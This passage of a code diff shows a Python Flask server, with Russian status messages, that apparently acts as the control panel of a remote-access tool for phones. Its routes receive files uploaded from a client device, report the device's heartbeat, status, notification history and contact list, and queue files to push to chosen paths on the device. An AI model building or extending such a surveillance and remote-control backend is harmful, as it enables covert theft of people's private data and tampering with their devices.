|
777 |
origin_command_type = request.form.get("origin_command_type", "unknown")
|
778 |
if origin_command_type == "request_download_file":
|
779 |
command_output = f"Файл '{filename}' успешно загружен С клиента."
|
780 |
+
|
781 |
return jsonify({'status': 'success', 'filename': filename})
|
782 |
except Exception as e:
|
783 |
command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
|
|
|
785 |
|
786 |
@app.route('/get_status_output', methods=['GET'])
|
787 |
def get_status_output_route():
|
788 |
+
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
|
789 |
return jsonify({
|
790 |
+
'output': command_output,
|
791 |
+
'last_heartbeat': last_client_heartbeat,
|
792 |
+
'current_path': current_client_path,
|
793 |
+
'device_status': device_status_info,
|
794 |
+
'notifications': notifications_history,
|
795 |
+
'contacts': contacts_list
|
796 |
})
|
797 |
|
798 |
@app.route('/uploads_from_client/<path:filename>')
|
|
|
804 |
files = []
|
805 |
try:
|
806 |
for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
|
807 |
+
if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
|
808 |
+
files.append(f_name)
|
809 |
+
except Exception:
|
810 |
+
pass
|
811 |
return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
|
812 |
|
813 |
|
814 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
815 |
def upload_to_server_for_client_route():
|
816 |
+
global file_to_send_to_client, command_output
|
817 |
+
if 'file_to_device' not in request.files:
|
818 |
+
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
|
819 |
+
|
820 |
file = request.files['file_to_device']
|
821 |
target_path_on_device = request.form.get('target_path_on_device')
|
822 |
+
|
823 |
+
if file.filename == '':
|
824 |
+
return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
|
825 |
+
|
826 |
+
if not target_path_on_device:
|
827 |
+
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
|
828 |
|
829 |
if file:
|
830 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
831 |
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
832 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
833 |
+
|
834 |
try:
|
835 |
file.save(filepath_on_server)
|
836 |
command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
|
837 |
+
return jsonify({
|
838 |
+
'status': 'success',
|
839 |
+
'server_filename': server_side_filename,
|
840 |
+
'original_filename': original_filename,
|
841 |
+
'target_path_on_device': target_path_on_device
|
842 |
+
})
|
843 |
+
except Exception as e:
|
844 |
+
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
|
845 |
return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
|
846 |
|
847 |
@app.route('/download_to_client/<filename>')
|
848 |
def download_to_client(filename):
|
849 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
850 |
|
851 |
+
|
852 |
if __name__ == '__main__':
|
853 |
app.run(host='0.0.0.0', port=7860, debug=False)
|